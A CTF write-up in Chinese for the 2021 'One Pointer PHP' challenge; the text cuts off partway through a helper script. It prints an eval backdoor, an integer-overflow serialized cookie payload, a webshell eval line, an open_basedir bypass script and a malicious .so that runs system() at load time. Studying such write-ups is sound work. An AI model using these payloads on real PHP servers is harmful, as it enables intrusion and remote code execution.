<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/%E4%B8%AD%E9%97%B4%E4%BB%B6/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/%E4%B8%AD%E9%97%B4%E4%BB%B6/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Tue, 23 Nov 2021 03:04:06 +0800</lastBuildDate><item><title>蓝帽杯2021 One Pointer PHP</title><link>https://h4cker.zip/7662b2/</link><pubDate>Tue, 23 Nov 2021 03:04:06 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/7662b2/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>第一次打FPM/FastCGI的题，实际上也是第一次接触打中间件的题，刚开始是在陇原战“疫”碰到了一道类似的题，也是改编的这道，为了更好地复现这道题，理解这道题，我去把Fastcgi 协议分析与 PHP-FPM 攻击方法都看了几遍。攻击的实操部分，本来想着复现，但那个鬼环境一直差点意思。这里不得不提中国网安界大神——phith0n，P神开创的vulhub确实帮了国内外网络安全学习者的大忙，让安全研究者更加专注于漏洞原理本身，而不是忙于搭建复杂的漏洞环境。但不幸的事，这个洞的环境坏了，问了P神说官网要下架，让我去GitHub找找，可惜GitHub也没有。。。<img
  src="/7662b2/one_pointer_php_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1908" height="1047"
/>
</p>
<p>所以PHP-FPM攻击实操等我搭好环境再来搞，Fastcgi协议有时间再来分析。</p>
<p>开启靶机，这个赛被人戏称广告杯，玩笑归玩笑，这题质量很高的，打开如下图<img
  src="/7662b2/one_pointer_php_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1080" height="608"
/>
</p>
<p>但好像比赛时图片是火炬</p>
<p><img
  src="/7662b2/one_pointer_php_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="700" height="327"
/>
</p>
<p>不管了，博客不能水</p>
<p>题目给了一个web.zip，解压后有两个文件，分别是user.php、add_api.php。为了方便日后我自己或者他人阅读，把代码贴出来：</p>
<p>user.php：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">class</span> <span class="nc">User</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">	<span class="k">public</span> <span class="nv">$count</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>add_api.php:</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">include</span> <span class="s2">&#34;user.php&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nv">$user</span><span class="o">=</span><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">])){</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">	<span class="nv">$count</span><span class="p">[</span><span class="o">++</span><span class="nv">$user</span><span class="o">-&gt;</span><span class="na">count</span><span class="p">]</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="nv">$count</span><span class="p">[]</span><span class="o">=</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">		<span class="nv">$user</span><span class="o">-&gt;</span><span class="na">count</span><span class="o">+=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">		<span class="nx">setcookie</span><span class="p">(</span><span class="s2">&#34;data&#34;</span><span class="p">,</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$user</span><span class="p">));</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">	<span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">		<span class="k">eval</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">&#34;backdoor&#34;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">	<span class="nv">$user</span><span class="o">=</span><span class="k">new</span> <span class="nx">User</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">	<span class="nv">$user</span><span class="o">-&gt;</span><span class="na">count</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">	<span class="nx">setcookie</span><span class="p">(</span><span class="s2">&#34;data&#34;</span><span class="p">,</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$user</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h4 id="1整数溢出">1、整数溢出<a class="anchor" href="#1整数溢出">#</a></h4>
<p>代码很明显，add_api.php包含user.php，并且将Cookie里的data反序列化为$user对象，将$user里的count值+1作为$count的下标，并给此元素赋值为1。随后，进行if语句判断，$count[]=1的意思就是给此数组末尾添加一个元素，值为1。那这里第一个考点就已经出来了，倘若我将count设为<code>最大值-1</code>的数字，那么在经历过自增后，该count为最大值，再进行$count[]=1操作，由于数组已经达到最大值了，数组末尾无法添加元素，所以此操作出错，执行else语句。我们便可以RCE。不同的操作系统PHP最大值是不一样的，32位上为<code>2147483647</code>，64位上为<code>9223372036854775807</code>，所以这里我们应该设置count为<code>9223372036854775806</code>，写个序列化脚本生成序列化字符串</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="k">class</span> <span class="nc">User</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">        <span class="k">public</span> <span class="nv">$count</span><span class="o">=</span><span class="mi">9223372036854775806</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">    <span class="k">echo</span> <span class="nx">serialize</span><span class="p">(</span><span class="k">new</span> <span class="nx">User</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>payload：<code>O:4:&quot;User&quot;:1:{s:5:&quot;count&quot;;i:9223372036854775806;}</code></p>
<h4 id="2拿webshell">2、拿webshell<a class="anchor" href="#2拿webshell">#</a></h4>
<p>注意else里的eval函数，不要直接传个<code>$_POST[cmd];</code>，eval是执行里面的语句，这个语句才是我们拿shell的点，所以应该传入<code>eval($_POST[cmd]);</code>,注意Cookie要url编码。还有接收参数是在add_api.php这个文件里的，所以你要传给这个文件。<img
  src="/7662b2/one_pointer_php_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="964" height="671"
/>
</p>
<h4 id="3绕过base_dir">3、绕过base_dir<a class="anchor" href="#3绕过base_dir">#</a></h4>
<p>进入shell后，看到根目录底下是有flag的，可是没有读取权限，这个时候我们访问phpinfo查看相关配置信息，hackbar传就可以看了<img
  src="/7662b2/one_pointer_php_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1890" height="881"
/>
</p>
<p>可一看到配置里是存在FPM/FastCGI的，而且disable_function禁的太多了，openbase_dir也只开放了html，这里我们需要先绕过openbase_dir读取到其他重要文件</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nx">mkdir</span><span class="p">(</span><span class="s1">&#39;bypass&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;bypass&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nx">ini_set</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">,</span><span class="s1">&#39;..&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="nx">ini_set</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">,</span><span class="s1">&#39;/&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;/usr/local/etc/php/php.ini&#34;</span><span class="p">));</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/7662b2/one_pointer_php_6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1907" height="677"
/>
</p>
<p>在输出中我们可以看到<code>extension=easy_bypass.so</code>，这是加载了异常so文件，看其他wp说是可以pwn的，我目前pwn没学多少还是算了。再读取nginx.conf文件看看<img
  src="/7662b2/one_pointer_php_7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1908" height="673"
/>
</p>
<p>在这里看到了<code>include /etc/nginx/sites-enabled/*;</code>，那直接去读nginx的默认配置<img
  src="/7662b2/one_pointer_php_8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1907" height="689"
/>
</p>
<p>居然开着FastCGI服务，那基本可以确定是未授权打FPM RCE了</p>
<h4 id="4加载恶意so文件">4、加载恶意so文件<a class="anchor" href="#4加载恶意so文件">#</a></h4>
<p>编写so拓展</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="cp">#define _GNU_SOURCE
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nf">__attribute__</span> <span class="p">((</span><span class="n">__constructor__</span><span class="p">))</span> <span class="kt">void</span> <span class="nf">preload</span> <span class="p">(</span><span class="kt">void</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;ls / &gt;/var/www/html/look&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个语句是将<code>ls /</code>结果输出到look文件</p>
<p>编译：<code>gcc evilso.c -fPIC -shared -o evilso.so</code>，使用Linux编译并上传至站点目录</p>
<h4 id="5编写文件处理">5、编写文件处理<a class="anchor" href="#5编写文件处理">#</a></h4>
<p>再写一个接收文件的php文件，这个文件用于接收恶意的fastcdi请求文件并写回主机，这里涉及到fastcgi的攻击原理，有时间再说。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;file&#39;</span><span class="p">]</span> <span class="o">??</span> <span class="s1">&#39;/tmp/file&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="nv">$data</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;data&#39;</span><span class="p">]</span> <span class="o">??</span> <span class="s1">&#39;:)&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="k">echo</span><span class="p">(</span><span class="nv">$file</span><span class="o">.</span><span class="s2">&#34;&lt;/br&gt;&#34;</span><span class="o">.</span><span class="nv">$data</span><span class="o">.</span><span class="s2">&#34;&lt;/br&gt;&#34;</span><span class="p">);</span>
